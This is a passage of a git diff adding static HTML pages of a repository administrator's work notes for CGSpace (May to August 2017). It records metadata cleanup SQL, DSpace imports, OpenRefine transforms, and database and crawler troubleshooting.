+47/30', '10947/13', '10947/14', '10947/15', '10947/16', '10947/31', '10947/32', '10947/33', '10947/34', '10947/35', '10947/36', '10947/37', '10947/17', '10947
+/18', '10947/38', '10947/19', '10947/39', '10947/40', '10947/41', '10947/42', '10947/43', '10947/2512', '10947/44', '10947/20', '10947/21', '10947/45', '10947
+/46', '10947/47', '10947/48', '10947/49', '10947/22', '10947/23', '10947/24', '10947/50', '10947/51', '10947/2518', '10947/2776', '10947/2790', '10947/2521',
+'10947/2522', '10947/2782', '10947/2525', '10947/2836', '10947/2524', '10947/2878', '10947/2520', '10947/2523', '10947/2786', '10947/2631', '10947/2589', '109
+47/2519', '10947/2708', '10947/2526', '10947/2871', '10947/2527', '10947/4467', '10947/3457', '10947/2528', '10947/2529', '10947/2533', '10947/2530', '10947/2
+531', '10947/2532', '10947/2538', '10947/2534', '10947/2540', '10947/2900', '10947/2539', '10947/2784', '10947/2536', '10947/2805', '10947/2541', '10947/2535'
+, '10947/2537', '10568/93761')));
+
    +
  • To get a CSV (with counts) from that:
    • +
+
dspace=# \copy (select distinct text_value, count(*)
+from metadatavalue
+where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author')
+AND resource_type_id = 2
+AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10947/2', '10947/3', '10947/10', '10947/4', '10947/5', '10947/6', '10947/7', '10947/8', '10947/9', '10947/11', '10947/25', '10947/12', '10947/26', '10947/27', '10947/28', '10947/29', '10947/30', '10947/13', '10947/14', '10947/15', '10947/16', '10947/31', '10947/32', '10947/33', '10947/34', '10947/35', '10947/36', '10947/37', '10947/17', '10947/18', '10947/38', '10947/19', '10947/39', '10947/40', '10947/41', '10947/42', '10947/43', '10947/2512', '10947/44', '10947/20', '10947/21', '10947/45', '10947/46', '10947/47', '10947/48', '10947/49', '10947/22', '10947/23', '10947/24', '10947/50', '10947/51', '10947/2518', '10947/2776', '10947/2790', '10947/2521', '10947/2522', '10947/2782', '10947/2525', '10947/2836', '10947/2524', '10947/2878', '10947/2520', '10947/2523', '10947/2786', '10947/2631', '10947/2589', '10947/2519', '10947/2708', '10947/2526', '10947/2871', '10947/2527', '10947/4467', '10947/3457', '10947/2528', '10947/2529', '10947/2533', '10947/2530', '10947/2531', '10947/2532', '10947/2538', '10947/2534', '10947/2540', '10947/2900', '10947/2539', '10947/2784', '10947/2536', '10947/2805', '10947/2541', '10947/2535', '10947/2537', '10568/93761'))) group by text_value order by count desc) to /tmp/cgiar-librar-authors.csv with csv;
+

2017-05-23

+
    +
  • Add Affiliation to filters on Listing and Reports module (#325)
    • +
  • Start looking at WLE’s Phase II metadata updates but it seems they are not tagging their items properly, as their website importer infers which theme to use based on the name of the CGSpace collection!
    • +
  • For now I’ve suggested that they just change the collection names and that we fix their metadata manually afterwards
    • +
  • Also, they have a lot of messed up values in their cg.subject.wle field so I will clean up some of those first:
    • +
+
dspace=# \copy (select distinct text_value from metadatavalue where resource_type_id=2 and metadata_field_id=119) to /tmp/wle.csv with csv;
+COPY 111
+
    +
  • Respond to Atmire message about ORCIDs, saying that right now we’d prefer to just have them available via REST API like any other metadata field, and that I’m available for a Skype
    • +
+

2017-05-26

+
    +
  • Increase max file size in nginx so that CIP can upload some larger PDFs
    • +
  • Agree to talk with Atmire after the June DSpace developers meeting where they will be discussing exposing ORCIDs via REST/OAI
    • +
+

2017-05-28

+
    +
  • File an issue on GitHub to explore/track migration to proper country/region codes (ISO 2/3 and UN M.49): #326
    • +
  • Ask Peter how the Landportal.info people should acknowledge us as the source of data on their website
    • +
  • Communicate with MARLO people about progress on exposing ORCIDs via the REST API, as it is set to be discussed in the June, 2017 DCAT meeting
    • +
  • Find all of Amos Omore’s author name variations so I can link them to his authority entry that has an ORCID:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and text_value like 'Omore, A%';
+
    +
  • Set the authority for all variations to one containing an ORCID:
    • +
+
dspace=# update metadatavalue set authority='4428ee88-90ef-4107-b837-3c0ec988520b', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Omore, A%';
+UPDATE 187
+
    +
  • Next I need to do Edgar Twine:
    • +
+
dspace=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and text_value like 'Twine, E%';
+
    +
  • But it doesn’t look like any of his existing entries are linked to an authority which has an ORCID, so I edited the metadata via “Edit this Item” and looked up his ORCID and linked it there
    • +
  • Now I should be able to set his name variations to the new authority:
    • +
+
dspace=# update metadatavalue set authority='f70d0a01-d562-45b8-bca3-9cf7f249bc8b', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Twine, E%';
+
    +
  • Run the corrections on CGSpace and then update discovery / authority
    • +
  • I notice that there are a handful of java.lang.OutOfMemoryError: Java heap space errors in the Catalina logs on CGSpace, I should go look into that…
    • +
+

2017-05-29

+
    +
  • Discuss WLE themes and subjects with Mia and Macaroni Bros
    • +
  • We decided we need to create metadata fields for Phase I and II themes
    • +
  • I’ve updated the existing GitHub issue for Phase II (#322) and created a new one to track the changes for Phase I themes (#327)
    • +
  • After Macaroni Bros update the WLE website importer we will rename the WLE collections to reflect Phase II
    • +
  • Also, we need to have Mia and Udana look through the existing metadata in cg.subject.wle as it is quite a mess
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-06/index.html b/docs/2017-06/index.html new file mode 100644 index 000000000..7083f8cab --- /dev/null +++ b/docs/2017-06/index.html @@ -0,0 +1,324 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2017

+

+ + in + +  + +

+
+

2017-06-01

+
    +
  • After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes
    • +
  • The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes
    • +
  • Then we’ll create a new sub-community for Phase II and create collections for the research themes there
    • +
  • The current “Research Themes” community will be renamed to “WLE Phase I Research Themes”
    • +
  • Tagged all items in the current Phase I collections with their appropriate themes
    • +
  • Create pull request to add Phase II research themes to the submission form: #328
    • +
  • Add cg.subject.system to CGSpace metadata registry, for subject from the upcoming CGIAR Library migration
    • +
+

2017-06-04

+
    +
  • After adding cg.identifier.wletheme to 1106 WLE items I can see the field on XMLUI but not in REST!
    • +
  • Strangely it happens on DSpace Test AND on CGSpace!
    • +
  • I tried to re-index Discovery but it didn’t fix it
    • +
  • Run all system updates on DSpace Test and reboot the server
    • +
  • After rebooting the server (and therefore restarting Tomcat) the new metadata field is available
    • +
  • I’ve sent a message to the dspace-tech mailing list to ask if this is a bug and whether I should file a Jira ticket
    • +
+

2016-06-05

+
    +
  • Rename WLE’s “Research Themes” sub-community to “WLE Phase I Research Themes” on DSpace Test so Macaroni Bros can continue their testing
    • +
  • Macaroni Bros tested it and said it’s fine, so I renamed it on CGSpace as well
    • +
  • Working on how to automate the extraction of the CIAT Book chapters, doing some magic in OpenRefine to extract page from–to from cg.identifier.url and dc.format.extent, respectively: +
      +
    • cg.identifier.url: value.split("page=", "")[1]
      • +
    • dc.format.extent: value.replace("p. ", "").split("-")[1].toNumber() - value.replace("p. ", "").split("-")[0].toNumber()
      • +
    +
    • +
  • Finally, after some filtering to see which small outliers there were (based on dc.format.extent using “p. 1-14” vs “29 p.”), create a new column with last page number: +
      +
    • cells["dc.page.from"].value.toNumber() + cells["dc.format.pages"].value.toNumber()
      • +
    +
    • +
  • Then create a new, unique file name to be used in the output, based on a SHA1 of the dc.title and with a description: +
      +
    • dc.page.to: value.split(" ")[0].replace(",","").toLowercase() + "-" + sha1(value).get(1,9) + ".pdf__description:" + cells["dc.type"].value
      • +
    +
    • +
  • Start processing 769 records after filtering the following (there are another 159 records that have some other format, or for example they have their own PDF which I will process later), using a modified generate-thumbnails.py script to read certain fields and then pass to GhostScript: +
      +
    • cg.identifier.url: value.contains("page=")
      • +
    • dc.format.extent: or(value.contains("p. "),value.contains(" p."))
      • +
    • Command like: $ gs -dNOPAUSE -dBATCH -dFirstPage=14 -dLastPage=27 -sDEVICE=pdfwrite -sOutputFile=beans.pdf -f 12605-1.pdf
      • +
    +
    • +
  • 17 of the items have issues with incorrect page number ranges, and upon closer inspection they do not appear in the referenced PDF
    • +
  • I’ve flagged them and proceeded without them (752 total) on DSpace Test:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" [dspace]/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/93843 --source /home/aorth/src/CIAT-Books/SimpleArchiveFormat/ --mapfile=/tmp/ciat-books.map &> /tmp/ciat-books.log
+
    +
  • I went and did some basic sanity checks on the remaining items in the CIAT Book Chapters and decided they are mostly fine (except one duplicate and the flagged ones), so I imported them to DSpace Test too (162 items)
    • +
  • Total items in CIAT Book Chapters is 914, with the others being flagged for some reason, and we should send that back to CIAT
    • +
  • Restart Tomcat on CGSpace so that the cg.identifier.wletheme field is available on REST API for Macaroni Bros
    • +
+

2017-06-07

+
    +
  • Testing Atmire’s patch for the CUA Workflow Statistics again
    • +
  • Still doesn’t seem to give results I’d expect, like there are no results for Maria Garruccio, or for the ILRI community!
    • +
  • Then I’ll file an update to the issue on Atmire’s tracker
    • +
  • Created a new branch with just the relevant changes, so I can send it to them
    • +
  • One thing I noticed is that there is a failed database migration related to CUA:
    • +
+
+----------------+----------------------------+---------------------+---------+
+| Version        | Description                | Installed on        | State   |
++----------------+----------------------------+---------------------+---------+
+| 1.1            | Initial DSpace 1.1 databas |                     | PreInit |
+| 1.2            | Upgrade to DSpace 1.2 sche |                     | PreInit |
+| 1.3            | Upgrade to DSpace 1.3 sche |                     | PreInit |
+| 1.3.9          | Drop constraint for DSpace |                     | PreInit |
+| 1.4            | Upgrade to DSpace 1.4 sche |                     | PreInit |
+| 1.5            | Upgrade to DSpace 1.5 sche |                     | PreInit |
+| 1.5.9          | Drop constraint for DSpace |                     | PreInit |
+| 1.6            | Upgrade to DSpace 1.6 sche |                     | PreInit |
+| 1.7            | Upgrade to DSpace 1.7 sche |                     | PreInit |
+| 1.8            | Upgrade to DSpace 1.8 sche |                     | PreInit |
+| 3.0            | Upgrade to DSpace 3.x sche |                     | PreInit |
+| 4.0            | Initializing from DSpace 4 | 2015-11-20 12:42:52 | Success |
+| 5.0.2014.08.08 | DS-1945 Helpdesk Request a | 2015-11-20 12:42:53 | Success |
+| 5.0.2014.09.25 | DS 1582 Metadata For All O | 2015-11-20 12:42:55 | Success |
+| 5.0.2014.09.26 | DS-1582 Metadata For All O | 2015-11-20 12:42:55 | Success |
+| 5.0.2015.01.27 | MigrateAtmireExtraMetadata | 2015-11-20 12:43:29 | Success |
+| 5.0.2017.04.28 | CUA eperson metadata migra | 2017-06-07 11:07:28 | OutOrde |
+| 5.5.2015.12.03 | Atmire CUA 4 migration     | 2016-11-27 06:39:05 | OutOrde |
+| 5.5.2015.12.03 | Atmire MQM migration       | 2016-11-27 06:39:06 | OutOrde |
+| 5.6.2016.08.08 | CUA emailreport migration  | 2017-01-29 11:18:56 | OutOrde |
++----------------+----------------------------+---------------------+---------+
+
+

2017-06-18

+
    +
  • Redeploy CGSpace with latest changes from 5_x-prod, run system updates, and reboot the server
    • +
  • Continue working on ansible infrastructure changes for CGIAR Library
    • +
+

2017-06-20

+
    +
  • Import Abenet and Peter’s changes to the CGIAR Library CRP community
    • +
  • Due to them using Windows and renaming some columns there were formatting, encoding, and duplicate metadata value issues
    • +
  • I had to remove some fields from the CSV and rename some back to, ie, dc.subject[en_US] just so DSpace would detect changes properly
    • +
  • Now it looks much better: https://dspacetest.cgiar.org/handle/10947/2517
    • +
  • Removing the HTML tags and HTML/XML entities using the following GREL: +
      +
    • replace(value,/<\/?\w+((\s+\w+(\s*=\s*(?:".*?"|'.*?'|[^'">\s]+))?)+\s*|\s*)\/?>/,'')
      • +
    • value.unescape("html").unescape("xml")
      • +
    +
    • +
  • Finally import 914 CIAT Book Chapters to CGSpace in two batches:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" [dspace]/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/35701 --source /home/aorth/CIAT-Books/SimpleArchiveFormat/ --mapfile=/tmp/ciat-books.map &> /tmp/ciat-books.log
+$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" [dspace]/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/35701 --source /home/aorth/CIAT-Books/SimpleArchiveFormat/ --mapfile=/tmp/ciat-books2.map &> /tmp/ciat-books2.log
+

2017-06-25

+
    +
  • WLE has said that one of their Phase II research themes is being renamed from Regenerating Degraded Landscapes to Restoring Degraded Landscapes
    • +
  • Pull request with the changes to input-forms.xml: #329
    • +
  • As of now it doesn’t look like there are any items using this research theme so we don’t need to do any updates:
    • +
+
dspace=# select text_value from metadatavalue where resource_type_id=2 and metadata_field_id=237 and text_value like 'Regenerating Degraded Landscapes%';
+ text_value
+------------
+(0 rows)
+
    +
  • Marianne from WLE asked if they can have both Phase I and II research themes together in the item submission form
    • +
  • Perhaps we can add them together in the same question for cg.identifier.wletheme
    • +
+

2017-06-30

+
    +
  • CGSpace went down briefly, I see lots of these errors in the dspace logs:
    • +
+
Java stacktrace: java.util.NoSuchElementException: Timeout waiting for idle object
+
    +
  • After looking at the Tomcat logs, Munin graphs, and PostgreSQL connection stats, it seems there is just a high load
    • +
  • Might be a good time to adjust DSpace’s database connection settings, like I first mentioned in April, 2017 after reading the 2017-04 DCAT comments
    • +
  • I’ve adjusted the following in CGSpace’s config: +
      +
    • db.maxconnections 30→70 (the default PostgreSQL config allows 100 connections, so DSpace’s default of 30 is quite low)
      • +
    • db.maxwait 5000→10000
      • +
    • db.maxidle 8→20 (DSpace default is -1, unlimited, but we had set it to 8 earlier)
      • +
    +
    • +
  • We will need to adjust this again (as well as the pg_hba.conf settings) when we deploy tsega’s REST API
    • +
  • Whip up a test for Marianne of WLE to be able to show both their Phase I and II research themes in the CGSpace item submission form:
    • +
+

Test A for displaying the Phase I and II research themes +Test B for displaying the Phase I and II research themes

+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-07/index.html b/docs/2017-07/index.html new file mode 100644 index 000000000..ef1689539 --- /dev/null +++ b/docs/2017-07/index.html @@ -0,0 +1,329 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2017

+

+ + in + +  + +

+
+

2017-07-01

+
    +
  • Run system updates and reboot DSpace Test
    • +
+

2017-07-04

+
    +
  • Merge changes for WLE Phase II theme rename (#329)
    • +
  • Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace
    • +
  • We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML:
    • +
+
$ psql dspacenew -x -c 'select element, qualifier, scope_note from metadatafieldregistry where metadata_schema_id=5 order by element, qualifier;' | sed -r 's:^-\[ RECORD (.*) \]-+$:</dc-type>\n<dc-type>\n<schema>cg</schema>:;s:([^ ]*) +\| (.*):  <\1>\2</\1>:;s:^$:</dc-type>:;1s:</dc-type>\n::'
+
    +
  • The sed script is from a post on the PostgreSQL mailing list
    • +
  • Abenet says the ILRI board wants to be able to have “lead author” for every item, so I’ve whipped up a WIP test in the 5_x-lead-author branch
    • +
  • It works but is still very rough and we haven’t thought out the whole lifecycle yet
    • +
+

Testing lead author in submission form

+
    +
  • I assume that “lead author” would actually be the first question on the item submission form
    • +
  • We also need to check to see which ORCID authority core this uses, because it seems to be using an entirely new one rather than the one for dc.contributor.author (which makes sense of course, but fuck, all the author problems aren’t bad enough?!)
    • +
  • Also would need to edit XMLUI item displays to incorporate this into authors list
    • +
  • And fuck, then anyone consuming our data via REST / OAI will not notice that we have an author outside of dc.contributor.authors… ugh
    • +
  • What if we modify the item submission form to use type-bind fields to show/hide certain fields depending on the type?
    • +
+

2017-07-05

+
    +
  • Adjust WLE Research Theme to include both Phase I and II on the submission form according to editor feedback (#330)
    • +
  • Generate list of fields in the current CGSpace cg scheme so we can record them properly in the metadata registry:
    • +
+
$ psql dspace -x -c 'select element, qualifier, scope_note from metadatafieldregistry where metadata_schema_id=2 order by element, qualifier;' | sed -r 's:^-\[ RECORD (.*) \]-+$:</dc-type>\n<dc-type>\n<schema>cg</schema>:;s:([^ ]*) +\| (.*):  <\1>\2</\1>:;s:^$:</dc-type>:;1s:</dc-type>\n::' > cg-types.xml
+
    +
  • CGSpace was unavailable briefly, and I saw this error in the DSpace log file:
    • +
+
2017-07-05 13:05:36,452 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.postgresql.util.PSQLException: FATAL: remaining connection slots are reserved for non-replication superuser connections
+
    +
  • Looking at the pg_stat_activity table I saw there were indeed 98 active connections to PostgreSQL, and at this time the limit is 100, so that makes sense
    • +
  • Tsega restarted Tomcat and it’s working now
    • +
  • Abenet said she was generating a report with Atmire’s CUA module, so it could be due to that?
    • +
  • Looking in the logs I see this random error again that I should report to DSpace:
    • +
+
2017-07-05 13:50:07,196 ERROR org.dspace.statistics.SolrLogger @ COUNTRY ERROR: EU
+
    +
  • Seems to come from dspace-api/src/main/java/org/dspace/statistics/SolrLogger.java
    • +
+

2017-07-06

+
    +
  • Sisay tried to help by making a pull request for the RTB flagships but there are formatting errors, unrelated changes, and the flagship names are not in the style I requested
    • +
  • Abenet talked to CIP and they said they are actually ok with using collection names rather than adding a new metadata field
    • +
+

2017-07-13

+
    +
  • Remove UKaid from the controlled vocabulary for dc.description.sponsorship, as Department for International Development, United Kingdom is the correct form and it is already present (#334)
    • +
+

2017-07-14

+
    +
  • Sisay sent me a patch to add “Photo Report” to dc.type so I’ve added it to the 5_x-prod branch
    • +
+

2017-07-17

+
    +
  • Linode shut down our seventeen (17) VMs due to nonpayment of the July 1st invoice
    • +
  • It took me a few hours to find the ICT/Finance contacts to pay the bill and boot all the servers back up
    • +
  • Since the server was down anyways, I decided to run all system updates and re-deploy CGSpace so that the latest changes to input-forms.xml and the sponsors controlled vocabulary
    • +
+

2017-07-20

+
    +
  • Skype chat with Addis team about the status of the CGIAR Library migration
    • +
  • Need to add the CGIAR System Organization subjects to Discovery Facets (test first)
    • +
  • Tentative list of dates for the migration: +
      +
    • August 4: aim to finish data cleanup and then give Peter a list of authors
      • +
    • August 18: ready to show System Office
      • +
    • September 4: all feedback and decisions (including workflows) from System Office
      • +
    • September 10/11: go live?
      • +
    +
    • +
  • Talk to Tsega and Danny about exporting/injesting the blog posts from Drupal into DSpace?
    • +
  • Followup meeting on August 8/9?
    • +
  • Sent Abenet the 2415 records from CGIAR Library’s Historical Archive (10947/1) after cleaning up the author authorities and HTML entities in dc.contributor.author and dc.description.abstract using OpenRefine: +
      +
    • Authors: value.replace(/::\w{8}-\w{4}-\w{4}-\w{4}-\w{12}::600/,"")
      • +
    • Abstracts: replace(value,/<\/?\w+((\s+\w+(\s*=\s*(?:".*?"|'.*?'|[^'">\s]+))?)+\s*|\s*)\/?>/,'')
      • +
    +
    • +
+

2017-07-24

+
    +
  • Move two top-level communities to be sub-communities of ILRI Projects
    • +
+
$ for community in 10568/2347 10568/25209; do /home/cgspace.cgiar.org/bin/dspace community-filiator --set --parent=10568/27629 --child="$community"; done
+
    +
  • Discuss CGIAR Library data cleanup with Sisay and Abenet
    • +
+

2017-07-27

+
    +
  • Help Sisay with some transforms to add descriptions to the filename column of some CIAT Presentations he’s working on in OpenRefine
    • +
  • Marianne emailed a few days ago to ask why “Integrating Ecosystem Solutions” was not in the list of WLE Phase I Research Themes on the input form
    • +
  • I told her that I only added the themes that I saw in the WLE Phase I Research Themes community
    • +
  • Then Mia from WLE also emailed to ask where some WLE focal regions went, and I said I didn’t understand what she was talking about, as all we did in our previous work was rename the old “Research Themes” subcommunity to “WLE Phase I Research Themes” and add a new subcommunity for “WLE Phase II Research Themes”.
    • +
  • Discuss some modifications to the CCAFS project tags in CGSpace submission form and in the database
    • +
+

2017-07-28

+
    +
  • Discuss updates to the Phase II CCAFS project tags with Andrea from Macaroni Bros
    • +
  • I will do the renaming and untagging of items in CGSpace database, and he will update his webservice with the latest project tags and I will get the XML from here for our input-forms.xml: https://ccafs.cgiar.org/export/ccafsproject
    • +
+

2017-07-29

+
    +
  • Move some WLE items into appropriate Phase I Research Themes communities and delete some empty collections in WLE Regions community
    • +
+

2017-07-30

+
    +
  • Start working on CCAFS project tag cleanup
    • +
  • More questions about inconsistencies and spelling mistakes in their tags, so I’ve sent some questions for followup
    • +
+

2017-07-31

+
    +
  • Looks like the final list of metadata corrections for CCAFS project tags will be:
    • +
+
delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and text_value='PII-FP4_CRMWestAfrica';
+update metadatavalue set text_value='FP3_VietnamLED' where resource_type_id=2 and metadata_field_id=134 and text_value='FP3_VeitnamLED';
+update metadatavalue set text_value='PII-FP1_PIRCCA' where resource_type_id=2 and metadata_field_id=235 and text_value='PII-SEA_PIRCCA';
+delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and text_value='PII-WA_IntegratedInterventions';
+
    +
  • Now just waiting to run them on CGSpace, and then apply the modified input forms after Macaroni Bros give me an updated list
    • +
  • Temporarily increase the nginx upload limit to 200MB for Sisay to upload the CIAT presentations
    • +
  • Looking at CGSpace activity page, there are 52 Baidu bots concurrently crawling our website (I copied the activity page to a text file and grep it)!
    • +
+
$ grep 180.76. /tmp/status | awk '{print $5}' | sort | uniq | wc -l
+52
+
    +
  • From looking at the dspace.log I see they are all using the same session, which means our Crawler Session Manager Valve is working
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017-08/index.html b/docs/2017-08/index.html new file mode 100644 index 000000000..f88f302eb --- /dev/null +++ b/docs/2017-08/index.html @@ -0,0 +1,571 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2017

+

+ + in + +  + +

+
+

2017-08-01

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours
    • +
  • I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)
    • +
  • The good thing is that, according to dspace.log.2017-08-01, they are all using the same Tomcat session
    • +
  • This means our Tomcat Crawler Session Valve is working
    • +
  • But many of the bots are browsing dynamic URLs like: +
      +
    • /handle/10568/3353/discover
      • +
    • /handle/10568/16510/browse
      • +
    +
    • +
  • The robots.txt only blocks the top-level /discover and /browse URLs… we will need to find a way to forbid them from accessing these!
    • +
  • Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): https://jira.duraspace.org/browse/DS-2962
    • +
  • It turns out that we’re already adding the X-Robots-Tag "none" HTTP header, but this only forbids the search engine from indexing the page, not crawling it!
    • +
  • Also, the bot has to successfully browse the page first so it can receive the HTTP header…
    • +
  • We might actually have to block these requests with HTTP 403 depending on the user agent
    • +
  • Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415
    • +
  • This was due to newline characters in the dc.description.abstract column, which caused OpenRefine to choke when exporting the CSV
    • +
  • I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d
    • +
  • Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet
    • +
+

2017-08-02

+
    +
  • Magdalena from CCAFS asked if there was a way to get the top ten items published in 2016 (note: not the top items in 2016!)
    • +
  • I think Atmire’s Content and Usage Analysis module should be able to do this but I will have to look at the configuration and maybe email Atmire if I can’t figure it out
    • +
  • I had a look at the moduel configuration and couldn’t figure out a way to do this, so I opened a ticket on the Atmire tracker
    • +
  • Atmire responded about the missing workflow statistics issue a few weeks ago but I didn’t see it for some reason
    • +
  • They said they added a publication and saw the workflow stat for the user, so I should try again and let them know
    • +
+

2017-08-05

+
    +
  • Usman from CIFOR emailed to ask about the status of our OAI tests for harvesting their DSpace repository
    • +
  • I told him that the OAI appears to not be harvesting properly after the first sync, and that the control panel shows an “Internal error” for that collection:
    • +
+

CIFOR OAI harvesting

+
    +
  • I don’t see anything related in our logs, so I asked him to check for our server’s IP in their logs
    • +
  • Also, in the mean time I stopped the harvesting process, reset the status, and restarted the process via the Admin control panel (note: I didn’t reset the collection, just the harvester status!)
    • +
+

2017-08-07

+
    +
  • Apply Abenet’s corrections for the CGIAR Library’s Consortium subcommunity (697 records)
    • +
  • I had to fix a few small things, like moving the dc.title column away from the beginning of the row, delete blank spaces in the abstract in vim using :g/^$/d, add the dc.subject[en_US] column back, as she had deleted it and DSpace didn’t detect the changes made there (we needed to blank the values instead)
    • +
+

2017-08-08

+
    +
  • Apply Abenet’s corrections for the CGIAR Library’s historic archive subcommunity (2415 records)
    • +
  • I had to add the dc.subject[en_US] column back with blank values so that DSpace could detect the changes
    • +
  • I applied the changes in 500 item batches
    • +
+

2017-08-09

+
    +
  • Run system updates on DSpace Test and reboot server
    • +
  • Help ICARDA upgrade their MELSpace to DSpace 5.7 using the docker-dspace container +
      +
    • We had to import the PostgreSQL dump to the PostgreSQL container using: pg_restore -U postgres -d dspace blah.dump
      • +
    • Otherwise, when using -O it messes up the permissions on the schema and DSpace can’t read it
      • +
    +
    • +
+

2017-08-10

+
    +
  • Apply last updates to the CGIAR Library’s Fund community (812 items)
    • +
  • Had to do some quality checks and column renames before importing, as either Sisay or Abenet renamed a few columns and the metadata importer wanted to remove/add new metadata for title, abstract, etc.
    • +
  • Also I applied the HTML entities unescape transform on the abstract column in Open Refine
    • +
  • I need to get an author list from the database for only the CGIAR Library community to send to Peter
    • +
  • It turns out that I had already used this SQL query in May, 2017 to get the authors from CGIAR Library:
    • +
+
dspace#= \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/93761', '10947/1', '10947/10', '10947/11', '10947/12', '10947/13', '10947/14', '10947/15', '10947/16', '10947/17', '10947/18', '10947/19', '10947/2', '10947/20', '10947/21', '10947/22', '10947/23', '10947/24', '10947/25', '10947/2512', '10947/2515', '10947/2516', '10947/2517', '10947/2518', '10947/2519', '10947/2520', '10947/2521', '10947/2522', '10947/2523', '10947/2524', '10947/2525', '10947/2526', '10947/2527', '10947/2528', '10947/2529', '10947/2530', '10947/2531', '10947/2532', '10947/2533', '10947/2534', '10947/2535', '10947/2536', '10947/2537', '10947/2538', '10947/2539', '10947/2540', '10947/2541', '10947/2589', '10947/26', '10947/2631', '10947/27', '10947/2708', '10947/2776', '10947/2782', '10947/2784', '10947/2786', '10947/2790', '10947/28', '10947/2805', '10947/2836', '10947/2871', '10947/2878', '10947/29', '10947/2900', '10947/2919', '10947/3', '10947/30', '10947/31', '10947/32', '10947/33', '10947/34', '10947/3457', '10947/35', '10947/36', '10947/37', '10947/38', '10947/39', '10947/4', '10947/40', '10947/4052', '10947/4054', '10947/4056', '10947/4068', '10947/41', '10947/42', '10947/43', '10947/4368', '10947/44', '10947/4467', '10947/45', '10947/4508', '10947/4509', '10947/4510', '10947/4573', '10947/46', '10947/4635', '10947/4636', '10947/4637', '10947/4638', '10947/4639', '10947/4651', '10947/4657', '10947/47', '10947/48', '10947/49', '10947/5', '10947/50', '10947/51', '10947/5308', '10947/5322', '10947/5324', '10947/5326', '10947/6', '10947/7', '10947/8', '10947/9'))) group by text_value order by count desc) to /tmp/cgiar-library-authors.csv with csv;
+
    +
  • Meeting with Peter and CGSpace team +
      +
    • Alan to follow up with ICARDA about depositing in CGSpace, we want ICARD and Drylands legacy content but not duplicates
      • +
    • Alan to follow up on dc.rights, where are we?
      • +
    • Alan to follow up with Atmire about a dedicated field for ORCIDs, based on the discussion in the June, 2017 DCAT meeting
      • +
    • Alan to ask about how to query external services like AGROVOC in the DSpace submission form
      • +
    +
    • +
  • Follow up with Atmire on the ticket about ORCID metadata in DSpace
    • +
  • Follow up with Lili and Andrea about the pending CCAFS metadata and flagship updates
    • +
+

2017-08-11

+
    +
  • CGSpace had load issues and was throwing errors related to PostgreSQL
    • +
  • I told Tsega to reduce the max connections from 70 to 40 because actually each web application gets that limit and so for xmlui, oai, jspui, rest, etc it could be 70 x 4 = 280 connections depending on the load, and the PostgreSQL config itself is only 100!
    • +
  • I learned this on a recent discussion on the DSpace wiki
    • +
  • I need to either look into setting up a database pool through JNDI or increase the PostgreSQL max connections
    • +
  • Also, I need to find out where the load is coming from (rest?) and possibly block bots from accessing dynamic pages like Browse and Discover instead of just sending an X-Robots-Tag HTTP header
    • +
  • I noticed that Google has bitstreams from the rest interface in the search index. I need to ask on the dspace-tech mailing list to see what other people are doing about this, and maybe start issuing an X-Robots-Tag: none there!
    • +
+

2017-08-12

+
    +
  • I sent a message to the mailing list about the duplicate content issue with /rest and /bitstream URLs
    • +
  • Looking at the logs for the REST API on /rest, it looks like there is someone hammering doing testing or something on it…
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log.1 | sort -n | uniq -c | sort -h | tail -n 5
+    140 66.249.66.91
